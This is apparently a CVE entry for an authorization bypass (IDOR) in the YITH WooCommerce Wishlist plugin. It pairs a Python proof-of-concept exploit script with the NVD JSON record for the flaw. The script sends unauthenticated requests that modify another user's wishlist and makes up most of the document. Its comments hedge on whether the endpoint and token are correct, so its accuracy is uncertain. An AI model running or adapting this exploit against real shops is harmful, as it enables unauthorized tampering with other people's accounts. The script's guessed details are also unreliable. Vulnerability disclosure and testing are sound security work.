CVE-2026-27329

#!/usr/bin/env python3 # PoC for CVE-2026-27329: Authorization Bypass in YITH WooCommerce Wishlist # This script demonstrates unauthorized modification of a wishlist via IDOR. import requests def exploit(target_url, wishlist_id, product_id): """ Attempts to add a product to a specific wishlist without authentication. """ # The vulnerable endpoint usually accepts a wishlist token or ID directly endpoint = f"{target_url}/wp-json/yith-wcwl/v1/add-to-wishlist" headers = { "User-Agent": "CVE-2026-27329-Scanner", "Content-Type": "application/json" } # Payload exploiting the user-controlled key/id payload = { "product_id": product_id, "wishlist_id": wishlist_id, # User-controlled key leading to IDOR "wishlist_token": "arbitrary_token" # Depending on specific implementation } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200 or response.status_code == 201: print(f"[+] Success! Item added to wishlist {wishlist_id} without auth.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed. Status Code: {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target details target = "http://example.com" target_wishlist_id = "12345" target_product_id = "67890" exploit(target, target_wishlist_id, target_product_id)

{"cve": {"id": "CVE-2026-27329", "sourceIdentifier": "[email protected]", "published": "2026-05-07T09:16:27.207", "lastModified": "2026-05-07T14:00:48.567", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in YITH YITH WooCommerce Wishlist allows Exploiting Incorrectly Configured Access Control Security Levels.\n\nThis issue affects YITH WooCommerce Wishlist: from n/a through 4.12.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/yith-woocommerce-wishlist/vulnerability/wordpress-yith-woocommerce-wishlist-plugin-4-12-0-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}